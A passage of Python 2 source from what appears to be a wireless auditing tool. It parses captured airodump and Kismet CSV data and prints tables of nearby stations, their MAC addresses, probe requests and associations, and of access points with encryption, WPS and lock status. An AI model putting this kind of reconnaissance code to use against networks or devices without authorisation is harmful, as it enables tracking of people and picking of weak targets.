    __builtin__.TimeGapFull=str(__builtin__.TimeGap).replace("days,","D").replace("day,","D")
    __builtin__.ElapsedTime=str(__builtin__.ElapsedTime)
    __builtin__.TimeGap=GetMin(__builtin__.TimeGap)
    return __builtin__.ElapsedTime;

def DisplayTimeStamp(cmdDisplayType,cmdTimeFormat):
    cmdDisplayType=cmdDisplayType.lower()
    if cmdTimeFormat=="":
        timefmt="%Y-%m-%d %H:%M:%S"
    else:
         timefmt=cmdTimeFormat
    if cmdDisplayType=="start":
        __builtin__.TimeStop=""
        __builtin__.DTimeStop=""
        __builtin__.DTimeStart=time.strftime(timefmt)
        printc ("  ",lblColor + " Started\t: " + txtColor + str(__builtin__.DTimeStart),"")
        __builtin__.TimeStart=datetime.datetime.now()
        return __builtin__.DTimeStart;
    if cmdDisplayType=="start-h":
        __builtin__.TimeStop=""
        __builtin__.DTimeStop=""
        __builtin__.DTimeStart=time.strftime(timefmt)
        __builtin__.TimeStart=datetime.datetime.now()
        return __builtin__.DTimeStart;
    if cmdDisplayType=="stop":
        __builtin__.DTimeStop=time.strftime(timefmt)
        printc ("  ",lblColor + " Stopped\t: " + txtColor + str(__builtin__.DTimeStop),"")
        __builtin__.TimeStop=datetime.datetime.now()
        return __builtin__.DTimeStop;
    if cmdDisplayType=="stop-h":
        __builtin__.DTimeStop=time.strftime(timefmt)
        __builtin__.TimeStop=datetime.datetime.now()
        return __builtin__.DTimeStop;
    if __builtin__.TimeStart!="":
        if cmdDisplayType=="summary" or cmdDisplayType=="summary-a":
            if __builtin__.TimeStop=="":
                __builtin__.TimeStop=datetime.datetime.now()
                __builtin__.DTimeStop=time.strftime(timefmt)
            ElapsedTime = __builtin__.TimeStop - __builtin__.TimeStart
	    ElapsedTime=str(ElapsedTime)
	    ElapsedTime=ElapsedTime[:-4]
            if cmdDisplayType=="summary-a":
                printc ("  ",lblColor + " Started\t: " + txtColor + str(__builtin__.DTimeStart),"")
                printc ("  ",lblColor + " Stopped\t: " + txtColor + str(__builtin__.DTimeStop),"")
	        printc ("  ",lblColor + " Time Spent\t: " + fcolor.BRed + str(ElapsedTime),"")
            if cmdDisplayType=="summary":
	        printc ("  ",lblColor + " Time Spent\t: " + fcolor.BRed + str(ElapsedTime),"")
        return ElapsedTime;

def RewriteCSV():
    FoundClient=""
    open(__builtin__.NewCaptured_CSV,"wb").write("" )
    __builtin__.ListInfo_AllMAC=[]
    if IsFileDirExist(__builtin__.Captured_CSV)=="F":
        DelFile (__builtin__.NewCaptured_CSV,1)
        DelFile (__builtin__.NewCaptured_CSVFront,1)
        DelFile (__builtin__.Client_CSV,1)
        DelFile (__builtin__.SSID_CSV,1)
        with open(__builtin__.Captured_CSV,"r") as f:
            for line in f:
                line=line.replace("\n","").replace("\00","")
                if line!="":
                    FirstMAC=str(line).split(",")
                    FirstMAC=FirstMAC[0]
                    if len(FirstMAC)==17:
                        open(__builtin__.NewCaptured_CSVFront,"a+b").write(str(FirstMAC) + "\n")
                        __builtin__.ListInfo_AllMAC.append (str(FirstMAC))
                open(__builtin__.NewCaptured_CSV,"a+b").write(line + "\n")
                if line.find("Station MAC, First time seen, Last time seen")!=-1:
                   FoundClient="1"
                if FoundClient=="" and line.find("BSSID, First time seen, Last time seen, channel")==-1:
                    if len(line)>20:
                        open(__builtin__.SSID_CSV,"a+b").write(line + "\n")
                if FoundClient=="1" and line.find("Station MAC, First time seen, Last time seen")==-1:
                    if len(line)>20:
                        open(__builtin__.Client_CSV,"a+b").write(line + "\n")
        __builtin__.ListInfo_AllMAC_Dup=set([dp for dp in __builtin__.ListInfo_AllMAC if __builtin__.ListInfo_AllMAC.count(dp)>1])
    open(__builtin__.NewCaptured_Kismet,"wb").write("" )
    if IsFileDirExist(__builtin__.Captured_Kismet)=="F":
        with open(__builtin__.Captured_Kismet,"r") as f:
            for line in f:
                line=line.replace("\n","")
                line=line.replace("\00","")
                open(__builtin__.NewCaptured_Kismet,"a+b").write(line + "\n")

def CheckRepeat(MACAddr):
    x=0
    Found="-"
    if str(__builtin__.ListInfo_AllMAC_Dup).find(MACAddr)!=-1:
        Found=MACAddr
    return Found

def DisplayClientList():
    x=0
    if __builtin__.NETWORK_VIEW=="2" or __builtin__.NETWORK_VIEW=="3":
        DisplayClientCount=0
        ToDisplayClient="1"
        DislpayNotShownClient=0
        ConnectedClient=0
        SkipClient=""
        GetFilterDetail()
        InfoColor=fcolor.SGreen
        CenterText(fcolor.BWhite + fcolor.BGGreen, "S T A T I O N S      L I S T I N G")
        print fcolor.BWhite + "STATION            BSSID\t\tPWR  Range\tLast Seen             Time Gap  ESSID                           OUI"
        DrawLine("^",fcolor.CReset + fcolor.Black,"","")
        while x < len(ListInfo_STATION):
            ToDisplayClient="1"
            if ToDisplayClient=="1" and __builtin__.NETWORK_PROBE_FILTER!="ALL":
                ToDisplayClient=""
                if __builtin__.NETWORK_PROBE_FILTER=="Yes":
                    if len(ListInfo_PROBE[x])>0:
                        ToDisplayClient="1"
                elif __builtin__.NETWORK_PROBE_FILTER=="No":
                    if len(ListInfo_PROBE[x])==0:
                        ToDisplayClient="1"
            if ToDisplayClient=="1" and __builtin__.NETWORK_ASSOCIATED_FILTER!="ALL":
                ToDisplayClient=""
                if __builtin__.NETWORK_ASSOCIATED_FILTER=="Yes":
                    if ListInfo_CBSSID[x].find("Not Associated")==-1:
                        ToDisplayClient="1"
                if __builtin__.NETWORK_ASSOCIATED_FILTER=="No":
                    if ListInfo_CBSSID[x].find("Not Associated")!=-1:
                        ToDisplayClient="1"
            if ToDisplayClient=="1" and __builtin__.NETWORK_UNASSOCIATED_FILTER!="ALL":
                ToDisplayClient=""
                if __builtin__.NETWORK_UNASSOCIATED_FILTER=="Yes":
                    if ListInfo_CBSSID[x].find("Not Associated")!=-1:
                        ToDisplayClient="1"
                if __builtin__.NETWORK_UNASSOCIATED_FILTER=="No":
                    if ListInfo_CBSSID[x].find("Not Associated")==-1:
                        ToDisplayClient="1"
            if  ToDisplayClient=="1" and __builtin__.NETWORK_CSIGNAL_FILTER!="ALL":
                ToDisplayClient=""    
                if ListInfo_CQualityRange[x].find(__builtin__.NETWORK_CSIGNAL_FILTER)!=-1:
                    ToDisplayClient="1"
            if __builtin__.HIDE_INACTIVE_STN=="No":                
                InfoColor=fcolor.SGreen
            else:
                InfoColor=fcolor.SWhite
            MACCOLOR=InfoColor
            SELFMAC=""
            if ListInfo_STATION[x]==__builtin__.SELECTED_MANIFACE_MAC or ListInfo_STATION[x]==__builtin__.SELECTED_MON_MAC or ListInfo_STATION[x]==__builtin__.SELECTED_IFACE_MAC or ListInfo_STATION[x]==__builtin__.SELECTED_ATK_MAC:
                MACCOLOR=fcolor.BPink
                SELFMAC=fcolor.BWhite + " [ " + fcolor.BPink + "Your Interface MAC" + fcolor.BWhite + " ]"
            CBSSID=ListInfo_CBSSID[x]
            CBSSID=str(CBSSID).replace("Not Associated","Not Associated")
            if CBSSID!="Not Associated":
                ConnectedClient += 1
            if ToDisplayClient=="1":
                if int(__builtin__.ListInfo_CTimeGap[x]) >= int(__builtin__.HIDE_AFTER_MIN):
                    if __builtin__.HIDE_INACTIVE_STN!="Yes":
                        DisplayClientCount=DisplayClientCount+1
                        ToDisplayClient=""
                        print fcolor.SBlack + HighlightMonitoringMAC(str(ListInfo_STATION[x])) + fcolor.SBlack + "  " + str(CBSSID) + "\t" + str(ListInfo_CBestQuality[x]).ljust(5) + RemoveColor(str(ListInfo_CQualityRange[x])) + "\t" + str(ListInfo_CLastSeen[x]).ljust(22) + str(ListInfo_CTimeGapFull[x]).ljust(10) + "" + str(ListInfo_CESSID[x]).ljust(32) + str(ListInfo_COUI[x])+ RemoveColor(str(SELFMAC))
                        if ListInfo_PROBE[x]!="":
                            print fcolor.SBlack + "    Probe : " + str(ListInfo_PROBE[x])
                    else:
                        DislpayNotShownClient=DislpayNotShownClient+1
                        ToDisplayClient=""
            if ToDisplayClient=="1":
                DisplayClientCount=DisplayClientCount+1
                print InfoColor + MACCOLOR + HighlightMonitoringMAC(str(ListInfo_STATION[x])) + InfoColor + "  " + str(CBSSID) + "\t" + str(ListInfo_CBestQuality[x]).ljust(5) + str(ListInfo_CQualityRange[x]) + InfoColor + "\t" + str(ListInfo_CLastSeen[x]).ljust(22) + str(ListInfo_CTimeGapFull[x]).ljust(10) + "" + fcolor.SPink + str(ListInfo_CESSID[x]).ljust(32) + InfoColor + str(ListInfo_COUI[x])+ str(SELFMAC)
                if ListInfo_PROBE[x]!="":
                    print fcolor.SWhite + "    Probe : " + fcolor.BBlue + str(ListInfo_PROBE[x])
            x = x + 1
        LineBreak()
        if DisplayClientFilter!="":
            print fcolor.BGreen + "Filter       : " + str(DisplayClientFilter)
        LblColor=fcolor.SYellow
        SummaryColor=fcolor.BGreen
        print LblColor + "Client Total : " + SummaryColor + str(len(ListInfo_STATION)).ljust(17) + LblColor + "Updated      : " + SummaryColor + str(__builtin__.ListInfo_CExist).ljust(17) + LblColor + "Added : " + SummaryColor + str(__builtin__.ListInfo_CAdd).ljust(21) + LblColor + "Listed : " + SummaryColor + str(DisplayClientCount).ljust(21) + LblColor + "Not Shown : " + SummaryColor + str(DislpayNotShownClient) 
        print LblColor + "Connected    : " + SummaryColor + str(__builtin__.ListInfo_AssociatedCount).ljust(17) + LblColor + "Unassociated : " + SummaryColor + str(__builtin__.ListInfo_UnassociatedCount).ljust(17) + LblColor + "Probe : " + SummaryColor + str(__builtin__.ListInfo_ProbeCount).ljust(21) + LblColor + "Removed   : " + SummaryColor + str(ListInfo_CRemoved) 
        DrawLine("_",fcolor.CReset + fcolor.Black,"","")

def GetFilterDetail():
    __builtin__.DisplayNetworkFilter= ""
    __builtin__.DisplayClientFilter=""
    __builtin__.DisplayUnassocFilter=""
    __builtin__.DisplayAllFilter=""
    if __builtin__.NETWORK_FILTER!="ALL":
        __builtin__.DisplayNetworkFilter=__builtin__.DisplayNetworkFilter + fcolor.BCyan + "Encryption - " + fcolor.Pink + str(__builtin__.NETWORK_FILTER) + "\t"
    if __builtin__.NETWORK_SIGNAL_FILTER!="ALL":
        __builtin__.DisplayNetworkFilter=__builtin__.DisplayNetworkFilter + fcolor.BCyan + "Signal - " + fcolor.Pink + str(__builtin__.NETWORK_SIGNAL_FILTER) + "\t"
    if __builtin__.NETWORK_CHANNEL_FILTER!="ALL":
        __builtin__.DisplayNetworkFilter=__builtin__.DisplayNetworkFilter + fcolor.BCyan + "Channel - " + fcolor.Pink + str(__builtin__.NETWORK_CHANNEL_FILTER) + "\t"
    if __builtin__.NETWORK_WPS_FILTER!="ALL":
        __builtin__.DisplayNetworkFilter=__builtin__.DisplayNetworkFilter + fcolor.BCyan + "WPS - " + fcolor.Pink + str(__builtin__.NETWORK_WPS_FILTER) + "\t"
    if __builtin__.NETWORK_ESSID_FILTER!="":
        __builtin__.DisplayNetworkFilter=__builtin__.DisplayNetworkFilter + fcolor.BCyan + "ESSID - " + fcolor.Pink + str(__builtin__.NETWORK_ESSID_FILTER) + "\t"
    if __builtin__.NETWORK_BSSID_FILTER!="":
        __builtin__.DisplayNetworkFilter=__builtin__.DisplayNetworkFilter + fcolor.BCyan + "BSSID - " + fcolor.Pink + str(__builtin__.NETWORK_BSSID_FILTER) + "\t"
    if __builtin__.NETWORK_CLIENT_FILTER!="ALL":
        __builtin__.DisplayNetworkFilter=__builtin__.DisplayNetworkFilter + fcolor.BCyan + "Client - " + fcolor.Pink + str(__builtin__.NETWORK_CLIENT_FILTER) + "\t"
    if __builtin__.NETWORK_PROBE_FILTER!="ALL":
        __builtin__.DisplayClientFilter=__builtin__.DisplayClientFilter + fcolor.BCyan + "Probe - " + fcolor.Pink + str(__builtin__.NETWORK_PROBE_FILTER) + "\t"
    if __builtin__.NETWORK_ASSOCIATED_FILTER!="ALL":
        __builtin__.DisplayClientFilter=__builtin__.DisplayClientFilter + fcolor.BCyan + "Associated - " + fcolor.Pink + str(__builtin__.NETWORK_ASSOCIATED_FILTER) + "\t"
    if __builtin__.NETWORK_UNASSOCIATED_FILTER!="ALL":
        __builtin__.DisplayClientFilter=__builtin__.DisplayClientFilter + fcolor.BCyan + "Unassociated - " + fcolor.Pink + str(__builtin__.NETWORK_UNASSOCIATED_FILTER) + "\t"
    if __builtin__.NETWORK_CSIGNAL_FILTER!="ALL":
        __builtin__.DisplayClientFilter=__builtin__.DisplayClientFilter + fcolor.BCyan + "Signal - " + fcolor.Pink + str(__builtin__.NETWORK_CSIGNAL_FILTER) + "\t"
    if __builtin__.NETWORK_UPROBE_FILTER!="ALL":
        __builtin__.DisplayUnassocFilter=__builtin__.DisplayUnassocFilter + fcolor.BCyan + "Probe - " + fcolor.Pink + str(__builtin__.NETWORK_UPROBE_FILTER) + "\t"
    if __builtin__.NETWORK_UCSIGNAL_FILTER!="ALL":
        __builtin__.DisplayUnassocFilter=__builtin__.DisplayUnassocFilter + fcolor.BCyan + "Signal - " + fcolor.Pink + str(__builtin__.NETWORK_UCSIGNAL_FILTER) + "\t"
    if __builtin__.DisplayNetworkFilter!="":
        __builtin__.DisplayAllFilter=__builtin__.DisplayAllFilter + str(tabspacefull) + fcolor.BWhite +         "Access Point Filter         : " + str(__builtin__.DisplayNetworkFilter) 
    if __builtin__.DisplayClientFilter!="":
        if __builtin__.DisplayAllFilter!="":
            __builtin__.DisplayAllFilter=__builtin__.DisplayAllFilter + "\n"
        __builtin__.DisplayAllFilter=__builtin__.DisplayAllFilter + str(tabspacefull) + fcolor.BWhite +         "Station Filter              : " + str(__builtin__.DisplayClientFilter) 
    if __builtin__.DisplayUnassocFilter!="":
        if __builtin__.DisplayAllFilter!="":
            __builtin__.DisplayAllFilter=__builtin__.DisplayAllFilter + "\n"
        __builtin__.DisplayAllFilter=__builtin__.DisplayAllFilter + str(tabspacefull) + fcolor.BWhite +         "Unassociated Station Filter : " + str(__builtin__.DisplayUnassocFilter) 

def SortStationList():
    return
    tmpListInfo_STATION=[];tmpListInfo_CFirstSeen=[];tmpListInfo_CLastSeen=[];tmpListInfo_CBestQuality=[];tmpListInfo_CQualityRange=[];tmpListInfo_CQualityPercent=[];tmpListInfo_CPackets=[];tmpListInfo_STNStandard=[];tmpListInfo_CBSSID=[];tmpListInfo_CBSSIDPrev=[];tmpListInfo_CBSSIDPrevList=[];tmpListInfo_PROBE=[];tmpListInfo_CESSID=[];tmpListInfo_COUI=[];tmpListInfo_CElapse=[];tmpListInfo_CTimeGap=[];tmpListInfo_CTimeGapFull=[]
    SortListInfo_STATION=[]
    SortListInfo_STATION=__builtin__.ListInfo_STATION
    SortListInfo_STATION.sort()
    x=0
    while x<len(SortListInfo_STATION):
        SortMAC=SortListInfo_STATION[x]
        foundloc=FindMACIndex(SortMAC,__builtin__.ListInfo_STATION)
        print "MAC : " + SortMAC + " / " + str(ListInfo_STATION[x]) + " / " + str(foundloc)
        if foundloc!=-1:
            tmpListInfo_STATION.append (__builtin__.ListInfo_STATION[foundloc])
            tmpListInfo_CFirstSeen.append (__builtin__.ListInfo_CFirstSeen[foundloc])
            tmpListInfo_CLastSeen.append (__builtin__.ListInfo_CLastSeen[foundloc])
            tmpListInfo_CBestQuality.append (__builtin__.ListInfo_CBestQuality[foundloc])
            tmpListInfo_CQualityRange.append (__builtin__.ListInfo_CQualityRange[foundloc])
            tmpListInfo_CQualityPercent.append (__builtin__.ListInfo_CQualityPercent[foundloc])
            tmpListInfo_CPackets.append (__builtin__.ListInfo_CPackets[foundloc])
            tmpListInfo_STNStandard.append (__builtin__.ListInfo_STNStandard[foundloc])
            tmpListInfo_CBSSID.append (__builtin__.ListInfo_CBSSID[foundloc])
            tmpListInfo_CBSSIDPrev.append (__builtin__.ListInfo_CBSSIDPrev[foundloc])
            tmpListInfo_CBSSIDPrevList.append (__builtin__.ListInfo_CBSSIDPrevList[foundloc])
            tmpListInfo_PROBE.append (__builtin__.ListInfo_PROBE[foundloc])
            tmpListInfo_CESSID.append (__builtin__.ListInfo_CESSID[foundloc])
            tmpListInfo_COUI.append (__builtin__.ListInfo_COUI[foundloc])
            tmpListInfo_CElapse.append (__builtin__.ListInfo_CElapse[foundloc])
            tmpListInfo_CTimeGap.append (__builtin__.ListInfo_CTimeGap[foundloc])
            tmpListInfo_CTimeGapFull.append (__builtin__.ListInfo_CTimeGapFull[foundloc])
        x += 1
    print "1 - " + " / " + str(len(__builtin__.ListInfo_STATION)) + " / " + str(len(tmpListInfo_STATION))
    print "2 - " + " / " + str(len(__builtin__.ListInfo_CFirstSeen)) + " / " + str(len(tmpListInfo_CFirstSeen))
    print "3 - " + " / " + str(len(__builtin__.ListInfo_CLastSeen)) + " / " + str(len(tmpListInfo_CLastSeen))
    print "4 - " + " / " + str(len(__builtin__.ListInfo_CBestQuality)) + " / " + str(len(tmpListInfo_CBestQuality))
    print "5 - " + " / " + str(len(__builtin__.ListInfo_CQualityRange)) + " / " + str(len(tmpListInfo_CQualityRange))
    print "6 - " + " / " + str(len(__builtin__.ListInfo_CQualityPercent)) + " / " + str(len(tmpListInfo_CQualityPercent))
    print "1 - " + " / " + str(len(__builtin__.ListInfo_CPackets)) + " / " + str(len(tmpListInfo_CPackets))
    print "8 - " + " / " + str(len(__builtin__.ListInfo_STNStandard)) + " / " + str(len(tmpListInfo_STNStandard))
    print "9 - " + " / " + str(len(__builtin__.ListInfo_CBSSID)) + " / " + str(len(tmpListInfo_CBSSID))
    print "10 - " + " / " + str(len(__builtin__.ListInfo_CBSSIDPrev)) + " / " + str(len(tmpListInfo_CBSSIDPrev))
    print "11 - " + " / " + str(len(__builtin__.ListInfo_CBSSIDPrevList)) + " / " + str(len(tmpListInfo_CBSSIDPrevList))
    print "12 - " + " / " + str(len(__builtin__.ListInfo_PROBE)) + " / " + str(len(tmpListInfo_PROBE))
    print "13 - " + " / " + str(len(__builtin__.ListInfo_CESSID)) + " / " + str(len(tmpListInfo_CESSID))
    print "14 - " + " / " + str(len(__builtin__.ListInfo_COUI)) + " / " + str(len(tmpListInfo_COUI))
    print "15 - " + " / " + str(len(__builtin__.ListInfo_CElapse)) + " / " + str(len(tmpListInfo_CElapse))
    print "16 - " + " / " + str(len(__builtin__.ListInfo_CTimeGap)) + " / " + str(len(tmpListInfo_CTimeGap))
    print "17 - " + " / " + str(len(__builtin__.ListInfo_CTimeGapFull)) + " / " + str(len(tmpListInfo_CTimeGapFull))
    __builtin__.ListInfo_STATION=tmpListInfo_STATION
    __builtin__.ListInfo_CFirstSeen=tmpListInfo_CFirstSeen
    __builtin__.ListInfo_CLastSeen=tmpListInfo_CLastSeen
    __builtin__.ListInfo_CBestQuality=tmpListInfo_CBestQuality
    __builtin__.ListInfo_CQualityRange=tmpListInfo_CQualityRange
    __builtin__.ListInfo_CQualityPercent=tmpListInfo_CQualityPercent
    __builtin__.ListInfo_CPackets=tmpListInfo_CPackets
    __builtin__.ListInfo_STNStandard=tmpListInfo_STNStandard
    __builtin__.ListInfo_CBSSID=tmpListInfo_CBSSID
    __builtin__.ListInfo_CBSSIDPrev=tmpListInfo_CBSSIDPrev
    __builtin__.ListInfo_CBSSIDPrevList=tmpListInfo_CBSSIDPrevList
    __builtin__.ListInfo_PROBE=tmpListInfo_PROBE
    __builtin__.ListInfo_CESSID=tmpListInfo_CESSID
    __builtin__.ListInfo_COUI=tmpListInfo_COUI
    __builtin__.ListInfo_CElapse=tmpListInfo_CElapse
    __builtin__.ListInfo_CTimeGap=tmpListInfo_CTimeGap
    __builtin__.ListInfo_CTimeGapFull=tmpListInfo_CTimeGapFull
    return

def SortBSSIDList():
    return
    x=0
    tmpListInfo_ESSID=[];tmpListInfo_HiddenSSID=[];tmpListInfo_BSSIDTimes=[];tmpListInfo_BSSID=[];tmpListInfo_Channel=[];tmpListInfo_APStandard=[];tmpListInfo_ESS=[];tmpListInfo_Cloaked=[];tmpListInfo_Privacy=[];tmpListInfo_Cipher=[];tmpListInfo_Auth=[];tmpListInfo_MaxRate=[];tmpListInfo_Beacon=[];tmpListInfo_Data=[];tmpListInfo_Total=[];tmpListInfo_FirstSeen=[];tmpListInfo_LastSeen=[];tmpListInfo_BestQuality=[];tmpListInfo_BestSignal=[];tmpListInfo_BestNoise=[];tmpListInfo_GPSBestLat=[];tmpListInfo_GPSBestLon=[];tmpListInfo_GPSBestAlt=[];tmpListInfo_QualityRange=[];tmpListInfo_QualityPercent=[];tmpListInfo_BSSID_OUI=[];tmpListInfo_WPS=[];tmpListInfo_WPSVer=[];tmpListInfo_WPSLock=[];tmpListInfo_ConnectedClient=[];tmpListInfo_Freq=[];tmpListInfo_Signal=[];tmpListInfo_Enriched=[];tmpListInfo_Quality=[];tmpListInfo_BitRate=[];tmpListInfo_WPAVer=[];tmpListInfo_PairwiseCipher=[];tmpListInfo_GroupCipher=[];tmpListInfo_AuthSuite=[];tmpListInfo_LastBeacon=[];tmpListInfo_Mode=[];tmpListInfo_EncKey=[];tmpListInfo_SSIDElapse=[];tmpListInfo_SSIDTimeGap=[];tmpListInfo_SSIDTimeGapFull=[]
    SortListInfo_BSSID=[]
    SortListInfo_BSSID=__builtin__.ListInfo_BSSID
    SortListInfo_BSSID.sort()
     
    while x<len(SortListInfo_BSSID):
        SortMAC=SortListInfo_BSSID[x]
        foundloc=FindMACIndex(SortMAC,__builtin__.ListInfo_BSSID)
        if foundloc!=-1:
            tmpListInfo_ESSID.append (__builtin__.ListInfo_ESSID[foundloc])
            tmpListInfo_HiddenSSID.append (__builtin__.ListInfo_HiddenSSID[foundloc])
            tmpListInfo_BSSIDTimes.append (__builtin__.ListInfo_BSSIDTimes[foundloc])
            tmpListInfo_BSSID.append (__builtin__.ListInfo_BSSID[foundloc])
            tmpListInfo_Channel.append (__builtin__.ListInfo_Channel[foundloc])
            tmpListInfo_APStandard.append (__builtin__.ListInfo_APStandard[foundloc])
            tmpListInfo_ESS.append (__builtin__.ListInfo_ESS[foundloc])
            tmpListInfo_Cloaked.append (__builtin__.ListInfo_Cloaked[foundloc])
            tmpListInfo_Privacy.append (__builtin__.ListInfo_Privacy[foundloc])
            tmpListInfo_Cipher.append (__builtin__.ListInfo_Cipher[foundloc])
            tmpListInfo_Auth.append (__builtin__.ListInfo_Auth[foundloc])
            tmpListInfo_MaxRate.append (__builtin__.ListInfo_MaxRate[foundloc])
            tmpListInfo_Beacon.append (__builtin__.ListInfo_Beacon[foundloc])
            tmpListInfo_Data.append (__builtin__.ListInfo_Data[foundloc])
            tmpListInfo_Total.append (__builtin__.ListInfo_Total[foundloc])
            tmpListInfo_FirstSeen.append (__builtin__.ListInfo_FirstSeen[foundloc])
            tmpListInfo_LastSeen.append (__builtin__.ListInfo_LastSeen[foundloc])
            tmpListInfo_BestQuality.append (__builtin__.ListInfo_BestQuality[foundloc])
            tmpListInfo_BestSignal.append (__builtin__.ListInfo_BestSignal[foundloc])
            tmpListInfo_BestNoise.append (__builtin__.ListInfo_BestNoise[foundloc])
            tmpListInfo_GPSBestLat.append (__builtin__.ListInfo_GPSBestLat[foundloc])
            tmpListInfo_GPSBestLon.append (__builtin__.ListInfo_GPSBestLon[foundloc])
            tmpListInfo_GPSBestAlt.append (__builtin__.ListInfo_GPSBestAlt[foundloc])
            tmpListInfo_QualityRange.append (__builtin__.ListInfo_QualityRange[foundloc])
            tmpListInfo_QualityPercent.append (__builtin__.ListInfo_QualityPercent[foundloc])
            tmpListInfo_BSSID_OUI.append (__builtin__.ListInfo_BSSID_OUI[foundloc])
            tmpListInfo_WPS.append (__builtin__.ListInfo_WPS[foundloc])
            tmpListInfo_WPSVer.append (__builtin__.ListInfo_WPSVer[foundloc])
            tmpListInfo_WPSLock.append (__builtin__.ListInfo_WPSLock[foundloc])
            tmpListInfo_ConnectedClient.append (__builtin__.ListInfo_ConnectedClient[foundloc])
            tmpListInfo_Freq.append (__builtin__.ListInfo_Freq[foundloc])
            tmpListInfo_Signal.append (__builtin__.ListInfo_Signal[foundloc])
            tmpListInfo_Enriched.append (__builtin__.ListInfo_Enriched[foundloc])
            tmpListInfo_Quality.append (__builtin__.ListInfo_Quality[foundloc])
            tmpListInfo_BitRate.append (__builtin__.ListInfo_BitRate[foundloc])
            tmpListInfo_WPAVer.append (__builtin__.ListInfo_WPAVer[foundloc])
            tmpListInfo_PairwiseCipher.append (__builtin__.ListInfo_PairwiseCipher[foundloc])
            tmpListInfo_GroupCipher.append (__builtin__.ListInfo_GroupCipher[foundloc])
            tmpListInfo_AuthSuite.append (__builtin__.ListInfo_AuthSuite[foundloc])
            tmpListInfo_LastBeacon.append (__builtin__.ListInfo_LastBeacon[foundloc])
            tmpListInfo_Mode.append (__builtin__.ListInfo_Mode[foundloc])
            tmpListInfo_EncKey.append (__builtin__.ListInfo_EncKey[foundloc])
            tmpListInfo_SSIDElapse.append (__builtin__.ListInfo_SSIDElapse[foundloc])
            tmpListInfo_SSIDTimeGap.append (__builtin__.ListInfo_SSIDTimeGap[foundloc])
            tmpListInfo_SSIDTimeGapFull.append (__builtin__.ListInfo_SSIDTimeGapFull[foundloc])
        x += 1
    __builtin__.ListInfo_ESSID=tmpListInfo_ESSID
    __builtin__.ListInfo_HiddenSSID=tmpListInfo_HiddenSSID
    __builtin__.ListInfo_BSSIDTimes=tmpListInfo_BSSIDTimes
    __builtin__.ListInfo_BSSID=tmpListInfo_BSSID
    __builtin__.ListInfo_Channel=tmpListInfo_Channel
    __builtin__.ListInfo_APStandard=tmpListInfo_APStandard
    __builtin__.ListInfo_ESS=tmpListInfo_ESS
    __builtin__.ListInfo_Cloaked=tmpListInfo_Cloaked
    __builtin__.ListInfo_Privacy=tmpListInfo_Privacy
    __builtin__.ListInfo_Cipher=tmpListInfo_Cipher
    __builtin__.ListInfo_Auth=tmpListInfo_Auth
    __builtin__.ListInfo_MaxRate=tmpListInfo_MaxRate
    __builtin__.ListInfo_Beacon=tmpListInfo_Beacon
    __builtin__.ListInfo_Data=tmpListInfo_Data
    __builtin__.ListInfo_Total=tmpListInfo_Total
    __builtin__.ListInfo_FirstSeen=tmpListInfo_FirstSeen
    __builtin__.ListInfo_LastSeen=tmpListInfo_LastSeen
    __builtin__.ListInfo_BestQuality=tmpListInfo_BestQuality
    __builtin__.ListInfo_BestSignal=tmpListInfo_BestSignal
    __builtin__.ListInfo_BestNoise=tmpListInfo_BestNoise
    __builtin__.ListInfo_GPSBestLat=tmpListInfo_GPSBestLat
    __builtin__.ListInfo_GPSBestLon=tmpListInfo_GPSBestLon
    __builtin__.ListInfo_GPSBestAlt=tmpListInfo_GPSBestAlt
    __builtin__.ListInfo_QualityRange=tmpListInfo_QualityRange
    __builtin__.ListInfo_QualityPercent=tmpListInfo_QualityPercent
    __builtin__.ListInfo_BSSID_OUI=tmpListInfo_BSSID_OUI
    __builtin__.ListInfo_WPS=tmpListInfo_WPS
    __builtin__.ListInfo_WPSVer=tmpListInfo_WPSVer
    __builtin__.ListInfo_WPSLock=tmpListInfo_WPSLock
    __builtin__.ListInfo_ConnectedClient=tmpListInfo_ConnectedClient
    __builtin__.ListInfo_Freq=tmpListInfo_Freq
    __builtin__.ListInfo_Signal=tmpListInfo_Signal
    __builtin__.ListInfo_Enriched=tmpListInfo_Enriched
    __builtin__.ListInfo_Quality=tmpListInfo_Quality
    __builtin__.ListInfo_BitRate=tmpListInfo_BitRate
    __builtin__.ListInfo_WPAVer=tmpListInfo_WPAVer
    __builtin__.ListInfo_PairwiseCipher=tmpListInfo_PairwiseCipher
    __builtin__.ListInfo_GroupCipher=tmpListInfo_GroupCipher
    __builtin__.ListInfo_AuthSuite=tmpListInfo_AuthSuite
    __builtin__.ListInfo_LastBeacon=tmpListInfo_LastBeacon
    __builtin__.ListInfo_Mode=tmpListInfo_Mode
    __builtin__.ListInfo_EncKey=tmpListInfo_EncKey
    __builtin__.ListInfo_SSIDElapse=tmpListInfo_SSIDElapse
    __builtin__.ListInfo_SSIDTimeGap=tmpListInfo_SSIDTimeGap
    __builtin__.ListInfo_SSIDTimeGapFull=tmpListInfo_SSIDTimeGapFull
    return

def DisplayInfrastructure():
    __builtin__.ListInfo_AssociatedCount =0
    ConnectedClient=0
    WPACount=0;WEPCount=0;OPNCount=0;OTHCount=0;DisplayNotShownClient=0;DisplayNotShownSSID=0;DisplayClientCount=0;DisplayCount=0;DisplayEnriched=0;UNASSOC=0
    if __builtin__.NETWORK_VIEW=="1" or __builtin__.NETWORK_VIEW=="3" or __builtin__.NETWORK_VIEW=="4"  or __builtin__.NETWORK_VIEW=="5":
        x=0;Skip=""
        GetFilterDetail()
        if __builtin__.NETWORK_VIEW=="1" or __builtin__.NETWORK_VIEW=="3":
            CenterText(fcolor.SBlack + fcolor.BGGreen, "A C C E S S     P O I N T S    L I S T I N G")
        if __builtin__.NETWORK_VIEW=="4" or __builtin__.NETWORK_VIEW=="5":
            CenterText(fcolor.SBlack + fcolor.BGGreen, "A C C E S S     P O I N T S   /   W I R E L E S S      C L I E N T S    L I S T I N G")
        print fcolor.BWhite + "BSSID              STA  ENC   CIPHER      AUTH      CH   PWR    Range    11S   WPS  Ver  LCK    ESSID                            OUI"
        DrawLine("^",fcolor.CReset + fcolor.Black,"","")
        while x < len(ListInfo_BSSID):
            if ListInfo_Privacy[x].find("WPA")!=-1:
                CPrivacy=fcolor.SCyan 
                WPACount += 1
            elif ListInfo_Privacy[x].find("WEP")!=-1:
                CPrivacy=fcolor.SRed
                WEPCount += 1
            elif ListInfo_Privacy[x].find("OPN")!=-1:
                CPrivacy=fcolor.SYellow
                OPNCount += 1
            else:
                CPrivacy=fcolor.SBlack
                OTHCount += 1
            ToDisplay=""
            if __builtin__.NETWORK_SIGNAL_FILTER!="ALL":
                if ListInfo_QualityRange[x].find(__builtin__.NETWORK_SIGNAL_FILTER)!=-1:
                    ToDisplay="1"
            else:
